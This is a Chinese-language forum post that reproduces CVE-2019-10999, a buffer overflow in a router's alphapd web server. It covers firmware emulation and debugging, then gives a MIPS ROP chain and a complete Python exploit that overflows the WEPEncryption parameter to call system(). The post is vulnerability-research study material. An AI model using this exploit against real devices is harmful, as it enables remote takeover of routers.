首页
论坛
课程
招聘
[原创]CVE-2019-10999复现学习
2022-1-15 14:15 18329

[原创]CVE-2019-10999复现学习

2022-1-15 14:15
18329

固件仿真

https://github.com/yywz1999/docker-qemu-system

 

下载好后按照readme安装,连接ssh上去。

 

然后去打包固件

 

tar -zcvf cpio.tar.gz cpio-root

 

上传到docker

 

切换到root权限

 

仿真:

1
2
mount -o bind /dev/ ./dev/
mount -t proc /proc/ ./proc

chroot . ./bin/sh进入sh。

 

./etc_ro/rcS中找到了internet.sh文件。查找这个文件它位于: ./sbin/internet.sh

 

在这个文件中又看到了一个 [lan.sh](http://lan.sh) 【./sbin/lan.sh】文件。

 

 

继续查看:

 

 

发现了关于web启动的相关信息。

 

 

确定了这个固件启动web服务的程序为: alphapd

1
2
3
killall -q alphapd
sleep 1
alphapd &

 

无法打开pid file,创建一个

 

 

 

再次报错

 

 

 

创建nvramd.pid

 

 

1
./gdbserver-mipsel :23946 ./bin/alphapd

调试查看v4的值

 

可以发现这里是通过 gpio 接口来获取IP的。但是我们是仿真的,并没有这个接口。所以我们直接去Patch。

 

 

patch后运行。

 


调试

1
2
关闭aslr:echo 0 > /proc/sys/kernel/randomize_va_space
./gdbserver-mipsel :23946 --attach alphapdPID

在gdb-multiarch中

1
2
3
set arch mips
set endian little
target remote 192.168.50.214:40496

挖掘漏洞

通过对程序分析,寻找敏感函数,最终找到了一个 strcpy 用户可控的输入位置

 


 

可以看到这里的 v11 只有四个字节。 v8 是由 v10 赋值,而他是从 WEPEncryption 获取的。而且并没有长度检查。

 

交叉引用找到调用点

 

 

找到了 formDefineWireless 函数

 

在web页面中找到了相似关键字

 

 

于是测试发包

 

 

程序crash,并且控制了PC寄存器。

 

于是我们开始测试溢出长度

 

1
2
> cyclic -l 0x6161616b
40

下面我们就可以来寻找gadget打这个溢出。

Libc基地址

 

0x77eda000

Rop

想要打出system的话,我们这里就需要来控制 a0 寄存器作为函数调用的参数。

 

这是找到的gadget

1
2
3
4
.text:0004A604                 addiu   $s2, $sp, 0x1E8+var_F8
.text:0004A608                 move    $a0, $s2
.text:0004A60C                 move    $t9, $s0
.text:0004A610                 jalr    $t9 ; sub_49DF0

栈中地址存到 s2 寄存器中,然后 s0 寄存器存入 t9 然后调用函数。

 

所以我们的exp就可以写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import socket
from pwn import *
context.log_level = 'debug'
context.arch = "mips"
 
Libc_Addr = 0x77eda000
system_Addr = 0x0045080
 
cmd = "echo${IFS}'Pwn!'"
 
gadget = 0x004A608
payload = cyclic(16).upper()
payload += p32(Libc_Addr+system_Addr) # S0
# p -> 0x77F24604
payload += 'BBBB' # S1
payload += p32(0x7fffe2a8) # S2
payload += 'DDDD' # S3
payload += 'EEEE'
payload += 'FFFF'
payload += p32(Libc_Addr+gadget) # PC
payload += 'HHHH'
payload += cmd
 
if __name__ == '__main__':
    #key = "Content-Type:text/html;charset:utf-8\r\n"
    RHOST = '127.0.0.1'
    RPORT = 40080
    request = ""
    request+= "GET /wireless.htm?WEPEncryption={} HTTP/1.1\r\n".format(payload)
    request+= "Host: {}:{}\r\n".format(RHOST,str(RPORT))
    request+= "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0"
    request+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
    request+= "Accept-Language: en-US,en;q=0.5"
    request+= "Accept-Encoding: gzip, deflate"
    request+= "Connection: close"
    request+= "Upgrade-Insecure-Requests: 1"
    request+= "\r\n\r\n"
 
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((RHOST,RPORT))
    s.send(request)
    print(request)
    # msg = s.recv(1024)
    s.close()
    # print msg


【看雪培训】目录重大更新!《安卓高级研修班》2022年春季班开始招生!

收藏
点赞2
打赏
分享
最新回复 (1)
雪    币: 1
活跃值: 活跃值 (292)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
0
游客
登录 | 注册 方可回帖
返回